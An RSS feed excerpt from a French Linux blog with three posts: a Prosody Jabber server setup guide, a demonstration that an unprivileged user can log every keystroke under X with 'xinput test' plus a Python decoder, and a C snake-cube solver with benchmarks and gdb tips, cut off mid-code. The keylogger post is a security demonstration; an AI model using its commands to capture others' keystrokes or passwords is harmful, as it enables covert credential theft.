<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>®om&#039;s blog &#187; Outils</title>
	<atom:link href="http://blog.rom1v.com/category/outils/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.rom1v.com</link>
	<description>Un blog libre</description>
	<lastBuildDate>Thu, 02 Feb 2012 20:03:59 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Héberger un serveur Jabber simplement (prosody)</title>
		<link>http://blog.rom1v.com/2012/01/heberger-un-serveur-jabber-simplement-prosody/</link>
		<comments>http://blog.rom1v.com/2012/01/heberger-un-serveur-jabber-simplement-prosody/#comments</comments>
		<pubDate>Fri, 06 Jan 2012 22:12:58 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[auto-hébergement]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[jabber]]></category>
		<category><![CDATA[réseau]]></category>
		<category><![CDATA[serveur]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=3696</guid>
		<description><![CDATA[J&#8217;ai enfin décidé d&#8217;héberger mon propre serveur Jabber, pour plusieurs raisons&#160;: la liste de mes contacts est mieux sur mon serveur que sur un autre&#160;; le serveur que j&#8217;utilisais (jabber.fr) rencontre parfois quelques difficultés&#160;; mon adresse Jabber sera ainsi la même que mon adresse mail (rom suivi de @rom1v.com). Et c&#8217;est simple&#160;! Installation et configuration [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2012/01/jabber.png"><img src="http://blog.rom1v.com/wp-content/uploads/2012/01/jabber.png" alt="" title="jabber" width="133" height="200" class="alignright size-full wp-image-3707" /></a></p>
<p>J&#8217;ai enfin décidé d&#8217;héberger mon propre serveur <a href="http://www.jabberfr.org/">Jabber</a>, pour plusieurs raisons&nbsp;:</p>
<ul>
<li>la liste de mes contacts est mieux sur mon serveur que sur un autre&nbsp;;</li>
<li>le serveur que j&#8217;utilisais (<a href="http://jabber.apinc.org/">jabber.fr</a>) rencontre parfois quelques difficultés&nbsp;;</li>
<li>mon adresse <em>Jabber</em> sera ainsi la même que <a href="http://blog.rom1v.com/2009/08/hebergez-vos-mails-sur-ubuntu-server-et-liberez-vous/">mon adresse mail</a> (<code>rom</code> suivi de <code>@rom1v.com</code>).</li>
</ul>
<p>Et c&#8217;est simple&nbsp;!</p>
<h3>Installation et configuration</h3>
<p>Tout d&#8217;abord, installer le paquet <code>prosody</code>&nbsp;:</p>
<pre>apt-get install prosody</pre>
<p>Puis ajouter à la fin du fichier <code>/etc/prosody/prosody.cfg.lua</code>&nbsp;:</p>
<pre>Host "<em>nom.de.domaine</em>"</pre>
<p>Pour moi&nbsp;:</p>
<pre>Host "rom1v.com"</pre>
<p>Créer un utilisateur en ligne de commandes et choisir un mot de passe&nbsp;:</p>
<pre>prosodyctl adduser <em>user</em>@<em>nom.de.domaine</em></pre>
<h3>Certificat</h3>
<p>Un <a href="http://fr.wikipedia.org/wiki/Certificat_%C3%A9lectronique#Certificat">certificat</a> TLS/SSL est créé par défaut, mais les champs sont renseignés avec des valeurs non pertinentes (<em>localhost</em> au lieu de <em>nom.de.domaine</em> par exemple). Il est donc préférable d&#8217;en <a href="http://prosody.im/doc/advanced_ssl_tls">générer un nouveau</a>.</p>
<p>Dans le répertoire <code>/etc/prosody/certs</code>, exécuter&nbsp;:</p>
<pre>openssl req -new -x509 -nodes -out <em>nom.de.domaine</em>.cert -keyout <em>nom.de.domaine</em>.key</pre>
<p>Renseigner les champs demandés <em>(«&nbsp;<code>.</code>&nbsp;» pour laisser un champ vide)</em>.</p>
<p>Remplacer le certificat dans le fichier de configuration&nbsp;:</p>
<pre>ssl = {
        key = "/etc/prosody/certs/<em>nom.de.domaine</em>.key";
        certificate = "/etc/prosody/certs/<em>nom.de.domaine</em>.cert";
}</pre>
<h4>Empreinte</h4>
<p>Comme c&#8217;est un certificat auto-signé, les clients <em>Jabber</em> ne lui feront pas confiance&nbsp;: ils demanderont une confirmation, en présentant son empreinte. Il faudra alors vérifier que le certificat présenté est bien le bon, c&#8217;est-à-dire que l&#8217;empreinte est la même.</p>
<p>Pour la connaître&nbsp;:</p>
<pre>openssl x509 -fingerprint -noout -in <em>nom.de.domaine</em>.cert</pre>
<p>Par exemple&nbsp;:</p>
<pre>$ openssl x509 -fingerprint -noout -in rom1v.com.cert
SHA1 Fingerprint=C3:6D:9B:65:06:55:C4:84:B4:A5:8D:4B:12:68:2F:08:71:7E:AC:DD</pre>
<h3>Ports</h3>
<p>Les <a href="http://fr.wikipedia.org/wiki/Liste_des_ports_logiciels">ports</a> TCP 5222 et 5269 <a href="http://www.accessgrid.org/agdp/guide/ports/1.03/x112.html">doivent être ouverts</a>.</p>
<h3>Démarrer</h3>
<p>Il ne reste plus qu&#8217;à démarrer le service.</p>
<pre>service prosody start</pre>
<h3>Clients</h3>
<p>Il est maintenant possible de se connecter en utilisant le nom d&#8217;utilisateur et le mot de passe créés&nbsp;:</p>
<p><a href="http://blog.rom1v.com/wp-content/uploads/2012/01/empathy.png"><img src="http://blog.rom1v.com/wp-content/uploads/2012/01/empathy-300x179.png" alt="" title="empathy" width="300" height="179" class="aligncenter size-medium wp-image-3697" /></a></p>
<h3>Backup</h3>
<p>Les données du serveur sont stockées dans <code>/var/lib/prosody</code>. Il est donc important de ne pas oublier ce répertoire dans le processus de <a href="http://fr.wikipedia.org/wiki/Sauvegarde">sauvegarde</a>.</p>
<p><em>Merci à <a href="http://www.cyrille-borne.com/index.php?post/2011/01/13/Faire-son-serveur-jabber-personnel-en-moins-de-5-minutes">Cyrille Borne</a> et <a href="http://blog.nicolargo.com/2011/01/un-serveur-jabber-en-5-minutes-chronos-sous-debianubuntu.html">nicolargo</a>.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2012/01/heberger-un-serveur-jabber-simplement-prosody/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>Keylogger sous GNU/Linux : enregistrer les touches tapées au clavier</title>
		<link>http://blog.rom1v.com/2011/11/keylogger-sous-gnulinux-enregistrer-les-touches-tapees-au-clavier/</link>
		<comments>http://blog.rom1v.com/2011/11/keylogger-sous-gnulinux-enregistrer-les-touches-tapees-au-clavier/#comments</comments>
		<pubDate>Tue, 01 Nov 2011 22:09:57 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[sécurité]]></category>
		<category><![CDATA[serveur x]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=3212</guid>
		<description><![CDATA[En tant que root, il est bien sûr potentiellement possible de faire ce que l&#8217;on veut sur sa machine, comme enregistrer toutes les touches tapées au clavier (keylogger). Mais aussi incroyable (et inquiétant) que cela puisse paraître, il est possible de faire exactement la même chose… sans être root. Démonstration Et en plus, c&#8217;est tout [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/11/keyboard.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/11/keyboard.png" alt="" title="keyboard" width="128" height="128" class="alignright size-full wp-image-3235" /></a><br />
En tant que <a href="http://fr.wikipedia.org/wiki/Utilisateur_root"><em>root</em></a>, il est bien sûr potentiellement possible de faire ce que l&#8217;on veut sur sa machine, comme enregistrer toutes les touches tapées au clavier (<a href="http://fr.wikipedia.org/wiki/Enregistreur_de_frappe">keylogger</a>).</p>
<p>Mais aussi incroyable (et inquiétant) que cela puisse paraître, il est possible de faire exactement la même chose… sans être <em>root</em>.</p>
<h3>Démonstration</h3>
<p>Et en plus, c&#8217;est tout simple&nbsp;: il suffit pour un programme d&#8217;écouter les événements clavier envoyés par le <a href="http://fr.wikipedia.org/wiki/X_Window_System">serveur X</a>.<br />
Prenons un outil qui le fait déjà (ça nous évitera de le coder), <code>xinput</code>&nbsp;:</p>
<pre>apt-get install xinput</pre>
<p>Pour obtenir la liste des périphériques utilisables&nbsp;:</p>
<pre>xinput list</pre>
<p>Repérer la ligne concernant le clavier (contenant «&nbsp;<code>AT</code>&nbsp;») et noter son <em>id</em> (ici <code>11</code>).</p>
<pre>$ xinput list | grep AT
    ↳ AT Translated Set 2 keyboard            	id=11	[slave  keyboard (3)]</pre>
<p>Puis démarrer l&#8217;écoute sur ce périphérique dans un terminal&nbsp;:</p>
<pre>xinput test 11</pre>
<p>Au fur et à mesure que l&#8217;on tape du texte, la sortie standard de <code>xinput</code> indique quelles touches sont tapées&nbsp;:</p>
<pre>key press   56
key release 56
key press   32
key release 32
key press   57
key release 57
key press   44
key release 44
key press   32
key press   30
key release 32
key release 30
key press   27
key release 27</pre>
<p>Cela fonctionne même lorsqu&#8217;on écrit dans une autre application, quelque soit l&#8217;utilisateur qui l&#8217;a démarrée. En particulier, si dans un autre terminal on exécute la commande suivante, le mot de passe est bien capturé&nbsp;:</p>
<pre>$ su -
Mot de passe : </pre>
<p>Un programme avec de simples droits utilisateur peut donc écouter tout ce qui est tapé au clavier (et donc l&#8217;enregistrer, l&#8217;envoyer à un serveur…).</p>
<h3>Décodage</h3>
<h4>Convertisseur</h4>
<p>La sortie de <code>xinput</code> n&#8217;est pas très utilisable en pratique. Pour la décoder, un programme d&#8217;une vingtaine de lignes en <em>Python</em> suffit (fortement inspiré de <a href="http://ardoris.wordpress.com/2011/04/24/linux-keylogger-proof-of-concept/">ce PoC</a>). Appelons-le <a href="http://dl.rom1v.com/keylogger/xinput-decoder.py"><code>xinput-decoder.py</code></a>&nbsp;:</p>
<pre>#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import re, sys
from subprocess import *

def get_keymap():
    keymap = {}
    table = Popen(['xmodmap', '-pke'], stdout=PIPE).stdout
    for line in table:
        m = re.match('keycode +(\d+) = (.+)', line.decode())
        if m and m.groups()[1]:
            keymap[m.groups()[0]] = m.groups()[1].split()[0]
    return keymap

if __name__ == '__main__':
    keymap = get_keymap();
    for line in sys.stdin:
        m = re.match('key press +(\d+)', line.decode())
        if m:
            keycode = m.groups()[0]
            if keycode in keymap:
                print keymap[keycode],
            else:
                print '?' + keycode,</pre>
<p>Pour convertir le résultat à la volée&nbsp;:</p>
<pre>xinput test 11 | ./xinput-decoder.py</pre>
<h4>Problème de redirection</h4>
<p>Le problème, c&#8217;est que lorsqu&#8217;on redirige la sortie de <code>xinput</code> dans un fichier ou en entrée d&#8217;un autre programme, le contenu ne s&#8217;affiche que par salves (d&#8217;environ 128 caractères apparemment). Sans doute une histoire de <a href="http://fr.wikipedia.org/wiki/M%C3%A9moire_tampon">buffer</a>, à mon avis activé uniquement lorsque la fonction <a href="http://www.kernel.org/doc/man-pages/online/pages/man3/isatty.3.html"><code>isatty()</code></a> retourne <em>true</em>.</p>
<p>Pour contourner le problème et récupérer les dernières touches tapées, il est possible de démarrer la commande dans un <code>screen</code>&nbsp;:</p>
<pre>screen xinput test 11</pre>
<p>puis, à la fin de la capture, d&#8217;enregistrer le contenu dans un fichier. Pour cela, dans le <code>screen</code> ainsi ouvert, taper <code>Ctrl+A</code>, <code>:</code>, puis <code>hardcopy -h /tmp/log</code>.<br />
De cette manière, <code>/tmp/log</code> contiendra toute la capture.</p>
<p>Pour convertir le résultat&nbsp;:</p>
<pre>$ ./xinput-parser.py &lt; /tmp/log
s u space minus Return <em>mon mot de passe root</em> Return a p t minus g e t space u p d a t e Return Control_L a colon</pre>
<h4>Améliorations</h4>
<p>Une solution plus pratique serait peut-être de démarrer <code>xinput</code> par le programme <em>Python</em>, en lui faisant croire qu&#8217;il écrit dans un <em>TTY</em> (ce que je ne sais pas faire). <a href="http://www.kirsle.net/blog/kirsle/building-a-better-keylogger">Quelqu&#8217;un</a> l&#8217;a fait <a href="http://sh.kirsle.net/keylog2">en <em>Perl</em></a>.<br />
Il faudrait également prendre en compte le relâchement des touches dans le décodeur, car lorsqu&#8217;il affiche «&nbsp;<code>Shift_L a b</code>&nbsp;», nous n&#8217;avons aucun moyen de savoir si la touche <code>Shift</code> a été relâchée avant le <code>a</code>, entre le <code>a</code> et le <code>b</code>, ou après le <code>b</code>.</p>
<h3>Liens</h3>
<p>Merci à <a href="http://papillon-butineur.blogspot.com/2011/10/keylogger-sous-linux.html">Papillon-butineur</a> de m&#8217;avoir fait découvrir ce fonctionnement étonnant du <em>serveur X</em>.<br />
Je vous recommande le billet suivant (en anglais) ainsi que ses commentaires&nbsp;: <a href="http://theinvisiblethings.blogspot.com/2011/04/linux-security-circus-on-gui-isolation.html">The Linux Security Circus: On GUI isolation</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2011/11/keylogger-sous-gnulinux-enregistrer-les-touches-tapees-au-clavier/feed/</wfw:commentRss>
		<slash:comments>23</slash:comments>
		</item>
		<item>
		<title>Résoudre le cube-serpent 300 fois plus rapidement en C</title>
		<link>http://blog.rom1v.com/2011/10/resoudre-le-cube-serpent-300-fois-plus-rapidement-en-c/</link>
		<comments>http://blog.rom1v.com/2011/10/resoudre-le-cube-serpent-300-fois-plus-rapidement-en-c/#comments</comments>
		<pubDate>Tue, 18 Oct 2011 23:33:00 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[c]]></category>
		<category><![CDATA[développement]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=3104</guid>
		<description><![CDATA[Il y a 3 semaines, j&#8217;avais écrit un solveur de cube-serpent en Python. Un commentaire, en apparence anodin, m&#8217;a mis dans la tête une question que je ne pouvais pas laisser sans réponse&#160;: combien de fois plus rapidement s&#8217;exécuterait le même algorithme implémenté en C que celui en Python (interprêté)&#160;? 2×&#160;? 10×&#160;? 50×&#160;? Pour y [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/10/gccegg-65.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/10/gccegg-65.png" alt="" title="gccegg-65" width="109" height="130" class="alignright size-full wp-image-3147" /></a><br />
Il y a 3 semaines, j&#8217;avais écrit un <a href="http://blog.rom1v.com/2011/09/resoudre-le-cube-serpent-en-python/">solveur de cube-serpent en <em>Python</em></a>.</p>
<p>Un <a href="http://blog.rom1v.com/2011/09/resoudre-le-cube-serpent-en-python/#comment-72561">commentaire</a>, en apparence anodin, m&#8217;a mis dans la tête une question que je ne pouvais pas laisser sans réponse&nbsp;: <strong>combien de fois plus rapidement s&#8217;exécuterait le même algorithme implémenté en <a href="http://fr.wikipedia.org/wiki/C_%28langage%29">C</a> que celui en <a href="http://fr.wikipedia.org/wiki/Python_%28langage%29">Python</a> (interprêté)&nbsp;?</strong> 2×&nbsp;? 10×&nbsp;? 50×&nbsp;?</p>
<p>Pour y répondre, il fallait donc implémenter le même algorithme en <em>C</em>. En plus, c&#8217;était l&#8217;occasion de rendre hommage à <a href="http://www.pcinpact.com/actu/news/66368-dennis-ritchie-deces-langage-c-unix.htm">Dennis Ritchie</a>. Après avoir découvert <em>Python</em>, j&#8217;ai donc (ré)appris le <em>C</em> (et ça fait drôle de rejouer avec les pointeurs après plusieurs années&nbsp;!). </p>
<h3>Implémentation</h3>
<p>Je ne vais pas m&#8217;attarder sur l&#8217;algorithme, c&#8217;est exactement le même principe que sur mon billet précédent, et j&#8217;ai essayé de garder les mêmes noms de fonctions.</p>
<p>La structure du cube et ses dimensions (à modifier selon votre cube-serpent) sont définies par <a href="http://c.developpez.com/cours/bernard-cassagne/node104.php">macro</a> (les fameux <code>#define</code>). Par rapport au programme <em>Python</em>, il faut en plus préciser la taille des tableaux.</p>
<p>La seule partie que j&#8217;ai réimplémentée complètement différemment est la fonction <code>get_useful_points</code> de la version <em>Python</em> (souvenez-vous, avec des <a href="http://docs.python.org/reference/expressions.html#yieldexpr">yield</a>s dans une <a href="http://fr.wikipedia.org/wiki/Fonction_r%C3%A9cursive">fonction récursive</a>). La fonction équivalente dans la version <em>C</em> s&#8217;appelle <code>symmetry_helper_inc_cursor(int cursor[])</code>&nbsp;: au lieu de retourner au fur et à mesure chacun des points à traiter, elle donne le point &laquo;&nbsp;suivant&nbsp;&raquo; de celui passé en paramètre.</p>
<p>De même, les solutions trouvées sont données dans un <a href="http://en.wikipedia.org/wiki/Callback_%28computer_science%29">callback</a> (la fonction <code>solution</code>), toujours dans l&#8217;objectif de supprimer simplement les <em>yield</em>s.</p>
<p>J&#8217;ai tout mis dans un seul fichier <code>csnakesolver.c</code> (par simplicité, même si dans les règles de l&#8217;art, plusieurs fichiers <code>.c</code> avec leurs <code>.h</code> auraient été préférables).</p>
<h3>Performances</h3>
<p>Passons maintenant à ce qui nous intéresse&nbsp;: les performances.</p>
<h4>Exemples de référence</h4>
<p>Je fais mes tests sur 3 exemples&nbsp;: un rapide, un <a href="http://blog.rom1v.com/2011/09/resoudre-le-cube-serpent-en-python/#comment-72413">moyen</a> et un <a href="http://blog.rom1v.com/2011/09/resoudre-le-cube-serpent-en-python/#comment-72410">long</a>.</p>
<p>Le rapide est un 3×3×3, les deux autres sont des 4×4×4. Voici leurs structures respectives&nbsp;:</p>
<pre>// (R)apide
{2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2}
// (M)oyen
{2, 1, 2, 1, 1, 3, 1, 2, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 1, 1, 1, 1, 1, 2, 3, 1, 1, 1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 1}
// (L)ong
{1, 1, 2, 1, 1, 3, 1, 2, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1 ,1, 2, 2, 1, 1, 1, 1, 1, 2, 3, 1, 1, 1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3}</pre>
<h4>Protocole</h4>
<p>Je vais comparer, grâce à la commande <code>time</code>, le temps nécessaire pour trouver une solution&nbsp;:</p>
<pre>time ./csnakesolver</pre>
<p>Le programme doit s&#8217;arrêter après avoir trouvé la première. Les programmes <em>Python</em> et <em>C</em> trouveront forcément les mêmes et dans le même ordre, vu qu&#8217;ils implémentent le même algorithme.</p>
<h4>Compilation</h4>
<p>Il est intéressant de tester les performances en compilant sans optimisations&nbsp;:</p>
<pre>gcc csnakesolver.c -o csnakesolver</pre>
<p>et avec&nbsp;:</p>
<pre>gcc -O3 csnakesolver.c -o csnakesolver</pre>
<h4>Résultats</h4>
<table>
<tr>
<td></td>
<th style="text-align:center"><em>Python</em></th>
<th style="text-align:center"><em>C</em> (<code>gcc</code>)</th>
<th style="text-align:center"><em>C</em> (<code>gcc -O3</code>)</th>
</tr>
<tr>
<th>Exemple R</th>
<td style="text-align:center"><ins>instantané</ins></td>
<td style="text-align:center"><ins>instantané</ins></td>
<td style="text-align:center"><ins>instantané</ins></td>
</tr>
<tr>
<th>Exemple M</th>
<td style="text-align:center">5m6.903s</td>
<td style="text-align:center">0m3.715s <em>(×83)</em></td>
<td style="text-align:center">0m0.826s <em>(×372)</em></td>
</tr>
<tr>
<th>Exemple L</th>
<td style="text-align:center">3h53m17.012s</td>
<td style="text-align:center">5m4.533s <em>(×46)</em></td>
<td style="text-align:center">0m50.681s <em>(×276)</em></td>
</tr>
</table>
<p>Le gain est loin d&#8217;être négligeable, un gain de ×276 dans un cas et ×372 dans l&#8217;autre&nbsp;! Honnêtement, je ne m&#8217;y attendais pas. Tout au plus, j&#8217;espérais ×40~×50, sans trop y croire.</p>
<h4>Origines des gains de performances</h4>
<p>Deux différences expliquent ces gains&nbsp;:</p>
<ul>
<li><em>Python</em> est <a href="http://fr.wikipedia.org/wiki/Langage_interpr%C3%A9t%C3%A9_%28informatique%29">interprété</a>, alors que <em>C</em> est <a href="http://fr.wikipedia.org/wiki/C_%28langage%29#Compilation">compilé</a>&nbsp;;</li>
<li>En tant que langage de haut-niveau, <em>Python</em> subit le <a href="http://fr.wikipedia.org/wiki/Langage_de_haut_niveau#Co.C3.BBt_de_cette_abstraction">coût de l&#8217;abstraction</a>.</li>
</ul>
<p>Il serait intéressant de savoir dans quelle mesure les gains proviennent de la compilation et dans quelle mesure ils proviennent de l&#8217;abstraction <em>(nous savons déjà que le facteur de gain entre les programmes compilés avec et sans <code>-O3</code> provient uniquement de la compilation)</em>.</p>
<p>Une approche intéressante pour répondre à cette question serait de compiler le programme <em>Python</em> en code natif (je n&#8217;ai encore jamais fait).</p>
<h3>Débogueur</h3>
<p>Travailler sur un mini-projet personnel permet toujours d&#8217;apprendre des choses. En dehors du langage lui-même, j&#8217;ai découvert le <a href="http://fr.wikipedia.org/wiki/D%C3%A9bogueur">débogueur</a> <a href="http://www.gnu.org/s/gdb/">gdb</a>.</p>
<p>N&#8217;ayant toujours utilisé des débogueurs qu&#8217;en mode graphique (pour d&#8217;autres langages), je m&#8217;attendais à ce qu&#8217;il soit un peu long à prendre en main. Mais en fait, pas du tout, j&#8217;ai été agréablement surpris par sa simplicité d&#8217;utilisation.</p>
<p>Avec certains langages, on peut se passer de débogueur pour de petits programmes. <em>C</em> ne fait pas partie de ceux-là, par exemple dans ce cas précis&nbsp;:</p>
<pre>$ ./csnakesolver
Erreur de segmentation</pre>
<p>Il faut d&#8217;abord compiler le programme avec l&#8217;option de <em>debug</em>&nbsp;:</p>
<pre>gcc -g csnakesolver.c -o csnakesolver</pre>
<p>Puis lancer le programme avec le débogueur&nbsp;:</p>
<pre>gdb csnakesolver</pre>
<p>Un prompt permet d&#8217;entrer des commandes&nbsp;:</p>
<pre>(gdb) </pre>
<p>Pour placer un point d&#8217;arrêt à la ligne 215&nbsp;:</p>
<pre>(gdb) break 215</pre>
<p>Pour démarrer le programme&nbsp;:</p>
<pre>(gdb) run</pre>
<p>Le programme s&#8217;arrête sur le point d&#8217;arrêt&nbsp;:</p>
<pre>Breakpoint 1, volume_helper_can_move (vector=...) at csnakesolver.c:215
215	    int cursor_position_value = volume_helper.cursor[vector.position];</pre>
<p>Pour afficher le bout de code source concerné&nbsp;:</p>
<pre>(gdb) l
210	void volume_helper_set_flag(int cursor[], bool value) {
211	    * volume_helper_get_flag_pointer(cursor) = value;
212	}
213
214	bool volume_helper_can_move(vector_s vector) {
215	    int cursor_position_value = volume_helper.cursor[vector.position];
216	    int new_value = cursor_position_value + vector.value;
217	    int future_cursor[DIMENSIONS_COUNT];
218	    int sign, i, abs_value;
219	    if (new_value &lt; 0 || new_value &gt;= dimensions[vector.position]) {</pre>
<p>Il est possible de consulter les valeurs des variables grâce à <code>p</code> (<em>print</em>)&nbsp;:</p>
<pre>(gdb) p vector.position
$1 = 0
(gdb) p vector
$2 = {position = 0, value = 1}</pre>
<p>Pour afficher des <a href="http://www.chemie.fu-berlin.de/chemnet/use/info/gdb/gdb_9.html#SEC54">tableaux</a>, il faut indiquer le pointeur et la longueur du tableau à afficher (ici 3)&nbsp;:</p>
<pre>(gdb) p * volume_helper.cursor @ 3
$3 = {0, 0, 0}</pre>
<p>Pour obtenir la <a href="http://fr.wikipedia.org/wiki/Pile_d%27ex%C3%A9cution">pile d&#8217;exécution</a>&nbsp;:</p>
<pre>(gdb) bt
#0  volume_helper_can_move (vector=...) at csnakesolver.c:215
#1  0x0000000000401294 in solve_rec (init_cursor=0x7fffffffe210, step=0)
    at csnakesolver.c:438
#2  0x0000000000401191 in solve () at csnakesolver.c:407
#3  0x00000000004013de in main () at csnakesolver.c:475</pre>
<p>Pour avancer dans le programme, 3 commandes sont indispensables&nbsp;:</p>
<ul>
<li><code>c</code> (<em>continue</em>) pour dérouler le programme jusqu&#8217;au prochain point d&#8217;arrêt&nbsp;;</li>
<li><code>n</code> (<em>next</em>) pour exécuter la ligne suivante complètement&nbsp;;</li>
<li><code>s</code> (<em>step</em>) pour rentrer dans la fonction sur la ligne suivante et l&#8217;exécuter ligne à ligne.</li>
</ul>
<p>Ces commandes essentielles permettent déjà de se sortir de beaucoup de situations.</p>
<h3>Conclusion</h3>
<p>Un programme écrit en <em>C</em> est plus rapide qu&#8217;un programme écrit en <em>Python</em> (ah bon&nbsp;?), dans une proportion plus importante que je ne l&#8217;imaginais. Ce n&#8217;est qu&#8217;un test sur un exemple particulier, mais il donne déjà une petite idée.</p>
<p>La morale de l&#8217;histoire est qu&#8217;il faut bien choisir son langage suivant le programme à réaliser. Et pour du calcul brut, évidemment un langage bas niveau est préférable (même si le développement est plus laborieux). Dans la majorité des cas cependant, où les performances brutes ne sont pas cruciales, <em>Python</em> sera préféré à <em>C</em>.</p>
<h3>Code source</h3>
<p>Le programme est disponible <a href="http://dl.rom1v.com/snakesolver/">au même endroit</a> que la version <em>Python</em>&nbsp;: <a href="http://dl.rom1v.com/snakesolver/csnakesolver-0.1.c">csnakesolver-0.1.c</a>.</p>
<p><em>Par contre, désolé, cette version est beaucoup moins commentée que la version Python.</em></p>
<pre>/*
 * csnakesolver v0.1, 19th october 2011
 *
 * changelog:
 *   0.1
 *     - initial version
 *
 * Solver for generalized snake-cube:
 * http://en.wikipedia.org/wiki/Snake_cube
 * http://fr.wikipedia.org/wiki/Cube_serpent
 *
 * By Romain Vimont (®om)
 *   rom@rom1v.com
 */
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;stdbool.h&gt;
#include &lt;string.h&gt;

#define EXEMPLE_L // change with EXEMPLE_M or EXEMPLE_L

#ifdef EXEMPLE_R
#define SNAKE_STRUCTURE {2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2}
#define STRUCTURE_VECTOR_COUNT 17
#define VOLUME_DIMENSIONS {3, 3, 3}
#define DIMENSIONS_COUNT 3
#endif

#ifdef EXEMPLE_M
#define SNAKE_STRUCTURE {2, 1, 2, 1, 1, 3, 1, 2, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 1, 1, 1, 1, 1, 2, 3, 1, 1, 1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 1}
#define STRUCTURE_VECTOR_COUNT 46
#define VOLUME_DIMENSIONS {4, 4, 4}
#define DIMENSIONS_COUNT 3
#endif

#ifdef EXEMPLE_L
#define SNAKE_STRUCTURE {1, 1, 2, 1, 1, 3, 1, 2, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1 ,1, 2, 2, 1, 1, 1, 1, 1, 2, 3, 1, 1, 1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3}
#define STRUCTURE_VECTOR_COUNT 47
#define VOLUME_DIMENSIONS {4, 4, 4}
#define DIMENSIONS_COUNT 3
#endif

#define VARIABLES {'x', 'y', 'z', 't'}
#define VARIABLES_COUNT 4

int structure[] = SNAKE_STRUCTURE;
int dimensions[] = VOLUME_DIMENSIONS;
int variables[] = VARIABLES;

int structure_length; // sum of SNAKE_STRUCTURE
int volume_size; // product of dimensions

typedef struct vector {
    int position;
    int value;
} vector_s;

typedef struct volume_helper {
    bool * flags; // length = product of all VOLUME_DIMENSIONS items
    vector_s path[STRUCTURE_VECTOR_COUNT];
    int path_length;
    int init_cursor[DIMENSIONS_COUNT];
    int cursor[DIMENSIONS_COUNT];
} volume_helper_s;

typedef struct symmetry_helper {
    int eq_classes_path[DIMENSIONS_COUNT * STRUCTURE_VECTOR_COUNT + 2];
    int * eq_classes;
} symmetry_helper_s;

vector_s new_vector(char position, char value);
void symmetry_helper_init(symmetry_helper_s * symmetry_helper);
void volume_helper_init(volume_helper_s * volume_helper);
void init();

char * vector_to_string(vector_s vector);
char * get_variable(char position);
char * get_canonical_number(char number);

char * cursor_to_string(int cursor[]);

void volume_helper_set_cursor(int cursor[]);
bool * volume_helper_get_flag_pointer(int cursor[]);
bool volume_helper_get_flag(int cursor[]);
void volume_helper_set_flag(int cursor[], bool value);
bool volume_helper_can_move(vector_s vector);
void volume_helper_move(vector_s vector);
void volume_helper_back();
void volume_helper_append_vector_in_path(vector_s vector) ;
vector_s volume_helper_pop_vector_in_path();

void symmetry_helper_init_eq_classes_from_dimensions();
bool symmetry_helper_inc_cursor(int cursor[]);
bool symmetry_helper_inc_cursor_rec(int cursor[], int index);
void symmetry_helper_set_cursor(int cursor[]);
void symmetry_helper_move(vector_s vector);
void symmetry_helper_back();
bool symmetry_helper_must_explore(int i);
bool eq_cmp(int p1, int p2, int dim);

bool solve();
bool solve_rec(int init_cursor[], int step);
bool solution(int * init_cursor, vector_s * path);

vector_s new_vector(char position, char value) {
    vector_s vector;
    vector.position = position;
    vector.value = value;
    return vector;
};

symmetry_helper_s symmetry_helper;
volume_helper_s volume_helper;

void symmetry_helper_init(symmetry_helper_s * symmetry_helper) {
    symmetry_helper-&gt;eq_classes = symmetry_helper-&gt;eq_classes_path;
}

void volume_helper_init(volume_helper_s * volume_helper) {
    volume_helper-&gt;flags = (bool *) malloc(volume_size * sizeof(bool));
